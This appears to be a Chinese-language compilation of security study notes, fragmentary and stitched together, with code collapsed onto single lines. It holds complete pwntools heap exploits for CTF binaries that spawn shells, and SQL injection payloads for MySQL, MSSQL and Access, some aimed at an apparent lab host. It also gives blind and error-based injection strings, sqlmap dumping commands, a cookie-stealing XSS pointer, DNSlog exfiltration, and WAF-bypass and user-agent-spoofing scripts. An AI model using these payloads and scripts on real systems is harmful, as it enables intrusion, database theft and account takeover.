0x10print("heap----->"+hex(heap))md(1,p64(heap))ad(4,0x67)ad(5,0x67)md(5,b'\x00'*0x48+b'\x00'*6+b'\x07')#md(5,b'\x00'*10 + b'\x07')rm(3)rm(5)dp(5)leak = u64(io.recvuntil('\x7f')[-6:] + b'\x00\x00')free = leak - 96 - 0x10 - libc.sym['__malloc_hook'] + libc.sym['__free_hook']system = leak - 96 - 0x10 - libc.sym['__malloc_hook'] + libc.sym['system']print(hex(leak))print(hex(free))md(3,p64(free))ad(6,0x67)md(6,b'/bin/sh\x00')ad(7,0x67)md(7,p64(system))rm(6)#gdb.attach(io)io.interactive()

CPP2

堆溢出漏洞

填充tcache至满，再次free进入unsorbin,截取泄露libc.

通过堆溢出漏洞修改tcache fd,进行unsortbin_attack.

#! /usr/bin/python3from pwn import *sh = process('./cpp')elf = ELF('./cpp')libc = ELF('./libc-2.31.so')def ad(idx, size):    sh.sendlineafter(">>\n", '1')    sh.sendlineafter("I:>>\n", str(idx))    sh.sendlineafter("S:>>\n", str(size))def md(idx, content):    sh.sendlineafter(">>\n", '2')    sh.sendlineafter("I:>>\n", str(idx))    sh.sendlineafter("V:>>\n", content)def dp(idx):    sh.sendlineafter(">>\n", '3')    sh.sendlineafter("I:>>\n", str(idx))def rm(idx):    sh.sendlineafter(">>\n", '4')    sh.sendlineafter("I:>>\n", str(idx))for i in range(9):    ad(i,0x88)for i in range(7,0,-1):    rm(i)rm(0)ad(9,0x78)dp(9)#gdb.attach(sh)leak = u64(sh.recvuntil('\x7f')[-6:]+b'\x00\x00')base = leak - 224 -0x10 - libc.sym['__malloc_hook']free = base + libc.sym['__free_hook']system = base + libc.sym['system']print(hex(leak))print(hex(free))print(hex(system))ad(1,0x88)md(1,b'a'*0x90 + p64(free))ad(2,0x88)md(2,b'/bin/sh\x00')ad(3,0x88)md(3,p64(system))rm(2)#gdb.attach(sh)sh.interactive()

首先、Hosts它是一个没有扩展名的系统文件，而它的的基本作用就是将一些我们个人常用的网址和相对应的IP地址建立一个关联“数据库”。所以，当我们（也就是用户）在浏览器输入一个需要我们登录的网址时，我们的计算机系统会首先自动的从Hosts文件中寻找对应的IP地址。如果一旦找到对应的IP地址，我们的系统将会立即打开对应的网页；如果没有找到，这时候系统将会把网址交给DNS域名解析服务器进行IP地址的解析。而如果系统发现是被屏蔽的IP或域名，就会禁止打开此网页！

2.设置代理服务器

须送出Request信号来得到回答，然后对方再把信息以bit方式传送回来。代理服务器是介于浏览器和Web服务器之间的一台服务器，有了它之后，浏览器不是直接到Web服务器去取回网页而是向代理服务器发出请求，Request信号会先送到代理服务器，由代理服务器来取回浏览器所需要的信息并传送给你的浏览器。因此代理服务器仅作用于网页，在其他应用上仍使用的真实IP。

3.使用vpn

与代理服务器不同的是VPN可以为全局网络改变IP，其他与代理服务器类似。所以VPN是居家旅行，杀人越货的必要之选。：）

XSS简介

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中，通过用户本地浏览器执行的，所以xss漏洞关键就是寻找参数未过滤的输出函数。

产生层面

产生层面一般都是在前端，JavaScript代码能干什么，执行之后就会达到相应的效果

函数类

比如说php中的脚本的输出函数

常见的输出函数有：print、print_r、echo、printf、sprintf、die、var_dump、var_export

XSS 跨站漏洞分类：

1. 反射型
   <非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。
   发包 x=xiaodi => x.php => 回包

2. 储存型
   <持久化> 代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，每当有用户访问该页面的时候都会触发代码执行，这种XSS非常危险，容易造成蠕虫，大量盗窃cookie（虽然还有种DOM型XSS，但是也还是包括在存储型XSS内）。
   发包 x=xiaodi => x.php => 写道数据库某个表 => x.php =>回显

3. DOM型
   基于文档对象模型Document Objeet Model，DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口，它允许程序或脚本动态地访问和更新文档内容、结构和样式，处理后的结果能够成为显示页面的一部分。DOM中有很多对象，其中一些是用户可以操纵的，如uRI ，location，refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM XSS漏洞。
   发包 x=xiaodi => 本地浏览器静态前端代码 =x.php

   ‘ onclick=”alert(2)”>

利用xss平台可以盗取cookie

https://xssaq.com/xss.php?do=project&act=viewcode&ty=create&id=12491

也可以通过向自己搭建的网站发送cookie

上传代码

本地网站

unlink在合并堆块时，会将被合并的堆块从bin链中取出之后的链将变成FD->bk = BK ; BK->fd = FD , 可以利用这种机制在特定的地址处写入堆块（需要满足FD->bk == p ; BK->fd ==p）

以2014 HITCON stkof作为例题演示

在edit中写入的size是可控的，所以存在溢出漏洞

可以发现chunk的地址被存储在了这个地址head，可以通过伪造chunk及其fd,bk从而将chunk写入该位置。

申请三个堆，用于unlink的堆块不可进入fastbin否则无法触发unlink

伪造fackchunk 其fd = head-0x8 ; bk = head,注意其下一chunk的prevsize 和 inuse都需要修改使其认为fakechunk是其上一chunk.

free造成unlink,FD-bk = BK ; BK->fd = FD (如图)

ad(0x20)ad(0x30)ad(0x80) #must be smallbinhead = 0x0602140payload = p64(0) + p64(0x20) + p64(head - 0x8) + p64(head) + p64(0) + p64(0) + p64(0x30) + p64(0x90) # make it believe that prev chunk is at fakechunkmd(2,len(payload),payload)#gdb.attach(io)rm(3)

之后可以通过编辑chunk2来leak.将free_got , puts_got , atoi_got 分别填入chunk中，再次编辑将free_got中写入puts_plt，这样调用free可以泄露地址。

payload = b'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])md(2,len(payload),payload)#gdb.attach(io)payload = p64(elf.plt['puts'])md(0,len(payload),payload)rm(1)puts_addr = io.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')puts_addr = u64(puts_addr)log.success('puts addr: ' + hex(puts_addr))base = puts_addr - libc.sym['puts']binsh = base + libc.search(b"/bin/sh").__next__()system = base + libc.sym['system']

最后想atoi_got中写入system,传入bin_sh的参数即可getshell

li("system--->"+hex(system))md(2,len(p64(system)),p64(system))io.sendline(p64(binsh))

完整exp如下：

#! /usr/bin/python3#-*- coding:utf-8 -*-from pwn import *import osr   =  lambda x : io.recv(x)ra  =  lambda   : io.recvall()rl  =  lambda   : io.recvline(keepends = True)ru  =  lambda x : io.recvuntil(x, drop = True)s   =  lambda x : io.send(x)sl  =  lambda x : io.sendline(x)sa  =  lambda x, y : io.sendafter(x, y)sla =  lambda x, y : io.sendlineafter(x, y)ia  =  lambda : io.interactive()c   =  lambda : io.close()li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')#------------------------------------------------io = process('./stkof')context.log_level='debug'elf = ELF('./stkof')libc = elf.libccontext.log_level = 'debug'#------------------------------------------------def ad(size):    io.sendline('1')    io.sendline(str(size))    io.recvuntil('OK\n')def md(idx, size, content):    io.sendline('2')    io.sendline(str(idx))    io.sendline(str(size))    io.send(content)    io.recvuntil('OK\n')def rm(idx):    io.sendline('3')    io.sendline(str(idx))def finish():    io.interactive()def exploit():    ad(0x20)    ad(0x30)    ad(0x80) #must be smallbin    head = 0x0602140    payload = p64(0) + p64(0x20) + p64(head - 0x8) + p64(head) + p64(0) + p64(0) + p64(0x30) + p64(0x90) # make it believe that prev chunk is at fakechunk    md(2,len(payload),payload)    rm(3)    gdb.attach(io)    io.recvuntil('OK\n')    payload = b'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])    md(2,len(payload),payload)    #gdb.attach(io)    payload = p64(elf.plt['puts'])    md(0,len(payload),payload)    rm(1)    puts_addr = io.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')    puts_addr = u64(puts_addr)    log.success('puts addr: ' + hex(puts_addr))    base = puts_addr - libc.sym['puts']    binsh = base + libc.search(b"/bin/sh").__next__()    system = base + libc.sym['system']    li("system--->"+hex(system))    md(2,len(p64(system)),p64(system))    io.sendline(p64(binsh))#-------------------------------startif __name__ == '__main__':    exploit()    finish()

先看一下tcache的源代码：

tcache_get()：

static __always_inline void *tcache_get (size_t tc_idx){  tcache_entry *e = tcache->entries[tc_idx];  assert (tc_idx < TCACHE_MAX_BINS);  assert (tcache->entries[tc_idx] > 0);  tcache->entries[tc_idx] = e->next;  --(tcache->counts[tc_idx]);  return (void *) e;}

tcache_put()：

tcache_put (mchunkptr chunk, size_t tc_idx){  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);  assert (tc_idx < TCACHE_MAX_BINS);  e->next = tcache->entries[tc_idx];  tcache->entries[tc_idx] = e;  ++(tcache->counts[tc_idx]);}

可见tcache->counts[tc_idx]会记录tcache的个数，所以可以通过溢出来控制该参数，从而达到使得本该进入tchche的堆块进入unsortbin.

以华东杯cpp2为例

先泄露堆的地址，不多赘述 了

for i in range(2):   ad(i,0x67)ad(2,0x67)rm(0)rm(1)dp(1)ru('\n')heap = u64(rx(6).ljust(8,b'\x00')) - 0x12EC0 + 0x10li("heap----->"+hex(heap))

重点说一下这里

md(1,p64(heap))ad(3,0x67)ad(4,0x67)md(4,b'\x00'*0x48+b'\x00'*6+b'\x07')rm(3)rm(4)dp(4)

一定要先free(3),再free(4)

free掉3后chunk_3会进入tcache，free掉4后tcache->counts[tc_idx]会全部修改。而这个tcache可以为2之后的攻击提供条件。

如果先free_4，再free_3,chunk_3会进入fastbin,将难以利用tcache_attack

先free(3),再free(4)

先free(4),再free(3)

之后泄露则利用进入unsortbin的chunk_4

chunk_4的size为0x290是因为tcache结构体为0x290,就是这个

最后exp如下

#! /usr/bin/python3from pwn import *import timecontext.arch = 'amd64'context.log_level = 'debug'one = []elf = ELF('./cpp2')#io = remote('47.104.143.202',15348)#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')io = process('./cpp2')libc = elf.libcr   =  lambda x : io.recv(x)rx  =  lambda x: io.recv(x)ra  =  lambda   : io.recvall()rl  =  lambda   : io.recvline(keepends = True)ru  =  lambda x : io.recvuntil(x, drop = True)s   =  lambda x : io.send(x)sl  =  lambda x : io.sendline(x)sa  =  lambda x, y : io.sendafter(x, y)sla =  lambda x, y : io.sendlineafter(x, y)ia  =  lambda : io.interactive()c   =  lambda : io.close()li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')one = []def ad(idx,size): sla('>>',str(1)) sla('I:>>',str(idx)) sla('S:>>',str(size))def md(idx,con): sla('>>',str(2)) sla('I:>>',str(idx)) sla('V:>>',con)def rm(idx): sla('>>',str(4)) sla('I:>>',str(idx))def dp(idx): sla('>>',str(3)) sla('I:>>',str(idx))#-----------------------for i in range(2):   ad(i,0x67)ad(2,0x67)rm(0)rm(1)dp(1)ru('\n')heap = u64(rx(6).ljust(8,b'\x00')) - 0x12EC0 + 0x10li("heap----->"+hex(heap))md(1,p64(heap))ad(3,0x67)ad(4,0x67)md(4,b'\x00'*0x48+b'\x00'*6+b'\x07')rm(3)rm(4)dp(4)base = u64(ru(b'\x7f')[-5:] + b'\x7f\x00\x00')base = base - 96 - 0x10 - libc.sym['__malloc_hook']li("base----->"+hex(base))system = base + libc.sym['system']free = base + libc.sym['__free_hook']#bin_sh = bases + libc.search(b'/bin/sh\x00')li("system----->"+hex(system))li("free----->"+hex(free))md(3,p64(free))ad(5,0x67)ad(6,0x67)md(5,b'/bin/sh\x00')md(6,p64(system))rm(5)io.interactive()

information_schema.tables: 记录所有表名信息的表
information_schema.columns: 记录所有列名信息的表

table__name :表名
column_name:列名
table_schema:数据库名

group_concat(table_name) 查询所有的表名

猜解列名数量（字段数)
order by x (x 变动,查看网页是否正常)

http://219.153.49.228:48354/new_list.php?id=1 order by 1

报错猜解准备（查看可显示的字段）

http://219.153.49.228:48354/new_list.php?id=-1 union select 1,2,3,4信息收集:数据库版本: version()数据库名字: database()数据库用户: user()操作系统:   @@version_compile_oshttp://219.153.49.228:48354/new_list.php?id=-1 union select 1,database(),3,version()

高版本MYSQL利用information_schema库的注入

必要知识点:
在MYSQL5.0以上版本中，mysql存在一个自带数据库名为
information_schema, 它是一个存储记录有所有数据库名，表名，列名的数据
库，也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
低版本只能暴力猜解

数据库中符号”. “代表下一级，如xiao.user表示xiao数据库下的user表名

information_schema.tables :记录所有表名信息的表
information_schema.columns :记录所有列名信息的表

table__name :表名
column_name:列名
table_schema:数据库名

group_concat(table_name) 查询所有的表名

查询指定数据库名mozhe_Discuz_stormGroup下的表名信息:

http://219.153.49.228:48354/new_list.php?id=-1 union select1,group_concat (table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_stormGroup"

查询指定表名stormGroup_member下的列名信息:

http://219.153.49.228:48354/new_list.php?id=-1 union select1,group_concat (column_name),3,4 from information_schema.column where table_name='stormGroup_member'

查询指定数据信息:

http://219.153.49.228:48354/new_list.php?id=-1 union select1,name , password,4 from stormGroup_membor

猜解多个数据可以采用1imit x,1变动猜解

http://219.153.49.228:48354/new_list.php?id=-1 union select1,name , password,4 from stormGroup_membor limit x,1  (x变动)

高权限注入

获取所有数据库名:

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name) ,3 from information_schema.schemata

获取指定qqyw数据库名下的表名信息:

union select i, group_concat (table_name) , 3 from information_schema.tables where table_achema='qqyw'

获取指定qqyw下的表名admin下的列名信息:

union select1,group_concat (column_name),3,4 from information_schema.column where table_name='admin' and information_schema='qqyw'

获取指定qayw下的admin数据

union select 1, u, p,4 from qqyw.admin

根据sql脚本的语法判断’’是否需要绕过

select *from user where id=’1’
select *from user where name=’xiaodi’
$name=$_GET[‘’];
$sql=”select * from user where name=’$name ‘ “;
?x=xiaodi and 1=1
select * from user where name=’xiaodi and 1=1’

SQL server / MSSQL注入语句

1.判断数据库类型

and exists (select * from sysobjects)--返回正常为mssql（也名sql server）and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

2.判断数据库类型

and 1 = @@version-- 有回显时使用。and substring((select @@version),22,4)='2008'-- 适用于无回显模式，后面的2008就是数据库版本,返回正常及是该版本，否则修改版本再尝试。

3.获取数据库的个数

1. and 1=(select quotename(count(name)) from master..sysdatabases)--2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --        and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --说明：dbid从1-4的数据库一般为系统数据库.

5.获取数据库 （该语句是一次性获取全部数据库的，且语句只适合>=2005，两条语句可供选择使用

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

6.获取当前数据库

and db_name()>0and 1=(select db_name())--

7.获取当前数据库中的表（有2个语句可供选择使用）【下列语句可一次爆数据库所有表（只限于 mssql2005及以上版本）】

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U'  FOR XML PATH(''))--

8.获得表里的列一次爆指定表的所有列（只限于mssql2005及以上版本）：

and 1=(select quotename(name) from 数据库名..syscolumns where id =(select  id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select  id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

9.获取指定数据库中的表的列的数据库

逐条爆指定表的所有字段的数据（只限于mssql2005及以上版本）：

and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--

一次性爆N条所有字段的数据（只限于mssql2005及以上版本）：

and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句：and  1=(select top 1 * from 指定数据库..指定表名 FOR XML  PATH(''))--加上where条件筛选结果出来会更加好，如：where  and name like '%user%'  就会筛选出含有user关键词的出来。用在筛选表段时很不错。

PostgraSQL注入语句

https://www.webshell.cc/524.html

https://www.cnblogs.com/yilishazi/p/14710349.html

https://www.jianshu.com/p/ba0297da2c2e

Oracle注入语句

https://www.cnblogs.com/peterpan0707007/p/8242119.html

MongoDB注入语句

https://blog.csdn.net/weixin_33881753/article/details/87981552

https://www.secpulse.com/archives/3278.html

#手工注入流程

高版本也可以利用information_schema库来注入（详细见上）

MySQL：

1.找到注入点 and 1=1 and 1=2 测试报错2.order by 5 # 到5的时候报错，获取字段总数为43.id=0(不是1就行，强行报错) union select 1,2,3,4 # 联合查询，2和3可以显示信息4.获取数据库信息user() ==>rootdatabase() ==>mozhe_Discuz_StormGroupversion() ==>5.7.22-0ubuntu0.16.04.15.获取数据库表table_name 表名information_schema.tables 系统生成信息表table_schema=数据库名16进制或者用单引号括起来改变limit 0，1中前一个参数，得到两个表 StormGroup_member notice6.获取列名结果如下 id,name,password,status7.脱裤

Access：

由于access数据库结构不同，一般只能通过暴力猜解的方式注入

1.and 1=2 报错找到注入点2.order by 获取总字段3.猜解表名 and exists (select * from admin) 页面返回正常，说明存在admin表4.猜解列名 and exists(select id from admin) 页面显示正常，admin表中存在id列 username,passwd 同样存在5.脱裤 union select 1,username,passwd,4 from admin

MSSQL：

1.and 1=2报错2.order by N# 获取总字段3.猜表名 and exists(select * from manage) 表名manage存在4.猜解列名 and exists(select id from manage) 列名id存在，同样username,password也存在5.脱裤 and exists (select id from manage where id=1 ) 证明id=1存在and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16可用Burp的Intruder功能辅助猜解猜解username第1到8位的字符，ASCII转码 admin_mz猜解password第1到16位的字符，ASCII转码(Burp 爆破)转ASCII的py脚本：72e1bfc3f01b7583 MD5解密为97285101

SQL注入—报错盲注

基于布尔的SQL盲注-逻辑判断（优先级：2）
regexp,like,ascii,left,ord,mid

基于时间的SQL盲注-延时判断（优先级：3）
if,sleep

基于报错的SQL盲注-报错回显（优先级：1）
floor，updatexml，extractvalue

基于报错的SQL盲注-报错回显

floor
payload:
pikachu insert

floor

username=x’ or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ‘
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei &submit=submit

updatexml (个人觉得是最方便的)

username=x ‘ or updatexml(1,concat(0x7e,(version())),0) or ‘ & password=xiaodi & sex=%E7%94%B7 & honenum=13878787788 & email=wuhan & add=hubei & submit=submit

extractvalue

username=x ‘ or extractvalue(1,concat(0x7e,database())),0) or ‘

基于时间的SQL盲注-延时判断

and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+

substr截取字符串的第一位，共一位字符，若其ascii码为115，则休眠5s

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+

select table_name from information_schema.tables where table_schema=database() limit 0,1查询information_schema.tables 表中数据库为当前数据库的，索引从0开始的,共一位的数据

基于布尔的SQL盲注-逻辑判断

页面只返回True和False两种类型页面。利用页面返回不同，逐个猜解数据

当前数据库database（）的长度大于10，返回true页面，否则FALSE页面：

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 –+

count(*)计数 concat()连接字符 floor()重复数据，返回0,1两个值 group by 进行分组 rand(0)避免数据重复造成的错误

猜当前数据库第一个字符

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#

利用二分法，115为fal，114TRUE，数据库第一个字符ASCII为115，即s

焯，使用sqlmap

爆出数据库版本

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1

爆数据库名

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1 -dbs

爆当前数据库

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1 –current-db

爆出security下的表名

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1 -D security –tables

爆出security下users表的列名

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1 -D security -T users –columns

爆出指定列下的数据

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1 -D security -T users -C id,username,password –dump

加解密注入，二次注入，DNSlog注入

加解密注入

get或post传输参数时可能采用了base64的加密方式将参数传输给服务器

比如www.xxx.com/index.php?id=MQ==
加密部分：MQ==
解密结果：1 相当于id=1

二次注入

1. 原理

二次注入是存储型注入，可以理解为构造恶意数据存储在数据库后，恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中，

当Web程序调用存储在数据库中的恶意数据并执行SQL查询时，就发生了SQL二次注入。详细点来讲，就是在第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc

对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身还是脏数据。在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，

直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。比如在第一次插入数据的时候，数据中带有单引号，直接插入到了数据库中；然后在下一次使用中在拼凑的过程中，

就形成了二次注入。二次注入无法通过扫描工具或者代码自己手工测试出来的，二次注入一般会产生在网站程序源代码才会发现的注入漏洞，从前端或者黑盒测试是看不到这个漏洞的。

2. 过程
3. 第一步：插入恶意数据

第一次进行数据库插入数据的时候，仅仅对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身包含恶意内容。

第二步：引用恶意数据

在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次需要进行查询的时候，直接从数据库中取出了恶意数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。

3. 过程原理图

4. 思路

a. 黑客通过构造数据的形式，在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理，提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

b. 服务端应用程序会将黑客提交的数据信息进行存储，通常是保存在数据库中，保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

c. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

d. 服务端接收到黑客提交的第二个请求信息后，为了处理该请求，服务端会查询数据库中已经存储的数据信息并处理，从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

e. 服务端返回执行的处理结果数据信息，黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

DNSlog注入

1. 原理
   首先需要有一个可以配置的域名，比如：ceye.io，然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A，然后再服务器 A 上配置好 DNS Server，

这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上，这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志，咱们这个就是读取多级域名的解析日志，

来获取信息。简单来说就是把信息放在高级域名中，传递到自己这，然后读取日志，获取信息

2. 利用场景

3. 在sql注入时为布尔盲注、时间盲注，注入的效率低且线程高容易被waf拦截，又或者是目标站点没有回显，我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功，这时候就要用到我们的DNSlog注入。

4. 推荐平台

a. http://www.dnslog.cn

b. http://ceye.io/（需要注册）

c. http://admin.dnslog.link

涉及资源

Sqlmap注入Base64编码的注入点：https://www.bbsmax.com/A/A2dmVVQBze/https://www.freebuf.com/column/184587.htmlhttps://www.cnblogs.com/renhaoblog/p/12912452.htmlhttps://www.pianshen.com/article/9561325277/https://github.com/bugscanteam/dnslog/(自己搭建dnslog服务器)

靶场演练

cooke注入

先找出所有的库名

union select 1,2,group_concat(schema_name) from information_schema.schemata#

再爆出security下的表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+

再爆出表下有什么字段

union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+

查看users里面所有账户和密码
Cookie: uname= ’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+

有加密的cooke注入

可发现uname处有base64加密

根据报错信息得知还需要在单引号后加上右括号

admin’) 然后进行编码，报错
admin’) #然后进行编码，回显正常
说明闭合方式为 ( ‘ ‘ )

注入Cookie uname=

1’) union select

MScpIHVuaW9uIHNlbGVjdCA=

本题需要注意的是闭合方式为 ( ‘ ‘ ) 和 加密注入

二次注入

在任何界面进行注入应该都是无效的，因为操作失败时会跳转到其他页面，而没有任何例如错误的回显信息。此处考虑的就不是之前那些把敏感信息弄出来的注入了，而是考虑利用改密码操作夺取其他账号的控制权。此处我们考虑二次注入，首先我们构造一个特殊的用户，该用户的用户名为 “admin’#”，密码随便设

使用admin’#进行登录

登录成功后，更改密码为123

返回主界面使用账户：admin 密码：123登录

此时如果将这个用户作为过滤条件实现记录的修改，该用户名后面的 “’#” 不仅能闭合字段，也能把后面的内容注释掉。而且成功闭合后，我们实际上操作的用户名应该是 “admin”。修改密码成功之后，使用用户名 “admin” 和我们修改的密码进行登录，发现我们夺去了该用户的密码，登录成功

如果用户名是 “admin’#”，则 SQL 语句会变成这样。

UPDATE users SET PASSWORD ='$pass' where username ='admin'#' and password='$curr_pass' 

由于此时符号没有转义，因此该用户名的 “#” 在 SQL 语句中会当做是注释

UPDATE users SET PASSWORD ='$pass' where username ='admin'#

因此实现了修改admin的密码。

DNS等注入

暂时没成功

WAF绕过

数据库特性（补充）%23x%0aunion%23x%0Aselect%201,2,3    %20/*!44509union*/%23x%0aselect%201,2,3id=1/**&id=-1%20union%20select%201,2,3%23*/%20union%20all%23%0a%20select%201,2,3%23

分析下句
%20union%20/!44509select/%201,2,3

在看下句
/*!50001 select * from test */

数据库特性，当数据库版本高于5.00.01时才会执行

/*!50001 select * from test */这样就真的注释掉，不会执行了

FUZZ绕过脚本

#!/usr/bin/envpython"""Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)Seethefile'LICENSE'forcopyingpermission"""import osfrom lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMSfrom lib.core.enums import PRIORITY__priority__=PRIORITY.HIGHESTdef dependencies():    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))def tamper(payload,**kwargs):#%23a%0aunion/*!44575select*/1,2,3    if payload:        payload=payload.replace("union","%23a%0aunion")        payload=payload.replace("select","/*!44575select*/")        payload=payload.replace("%20","%23a%0a")        payload=payload.replace("","%23a%0a")        payload=payload.replace("database()","database%23a%0a()")    return payloadimport requests,timeurl='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'union='union'select='select'num='1,2,3'a={'%0a','%23'}aa={'x'}aaa={'%0a','%23'}b='/*!'c='*/'def bypass():    for xiaodi in a:        for xiaodis in aa:            for xiaodiss in aaa:                for two in range(44500,44600):                    urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiaodiss+num                    #urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xiaodiss+num                    try:                        result=requests.get(urls).text                        len_r=len(result)                        if (result.find('safedog')==-1):                            #print('bypass url addreess：'+urls+'|'+str(len_r))                             print('bypass url addreess：'+urls+'|'+str(len_r))                        if len_r==715:                             fp = open('url.txt','a+')                             fp.write(urls+'\n')                             fp.close()                    except Exception as err:                        print('connecting error')                        time.sleep(0.1)if__name__=='__main__':    print('fuzz strat!')    bypass()

伪造成百度爬虫脚本

import jsonimport requestsurl='http://192.168.0.103:8080/'head={    'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'}for data in open('PH1P.txt'):    data=data.replace('\n','')    urls=url+data    code=requests.get(urls.headers=head).status_code    print(urls+'|'+str(code))

sqlmap temper脚本使用教程

https://blog.csdn.net/qq_34444097/article/details/82717357

其他方式

方式一：IP白名单

通过对网站ip地址的伪造，知道对方网站ip地址，那就默认为ip地址为白名单。

从网络层获取的ip，这种一般伪造不来，如果是获取客户端的ip，这样就饿可能存在伪造ip绕过的情况。

测试方法：修改http的header来by pass waf

X-forwarded-forX-remote-IPX-remote-addrX-Real-IP

方式二：静态资源

特定的静态资源后缀请求，常见的静态文件(.js、.jpg、.swf、.css等），类似白名单机制，waf为了检测效率，不去检测这样一些静态文件名后缀的请求。

http://127.0.0.1/sql.php?id=1

http://127.0.0.1/sql.php/1.js?id=1

备注：Aspx/php只识别到前面的.aspx/.php，后面基本不识别。

方式三：url白名单

为了防止误拦，部分waf内置默认的白名单列表，如admin/manager/system等管理后台。

只要url中存在白名单的字符串，就作为白名单不进行检测。常见的url构造姿势
涉及资源：

https://www.cnblogs.com/backlion/p/9721687.html

https://blog.csdn.net/nzjdsds/article/details/93740686

"r"           将ASC码转化为字符 “h”           将字符转化为asv码“f5”          查看伪代码“ c ”   “shift+f12”   查看字符串“ctrl+x  ”    查看ida view -a 界面“strcmp”      函数是string compare(字符串比较)的缩写，用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2)，若str1=str2，则返回零；若str1<str2，则返回负数；若str1>str2，则返回正数。

reverse 1

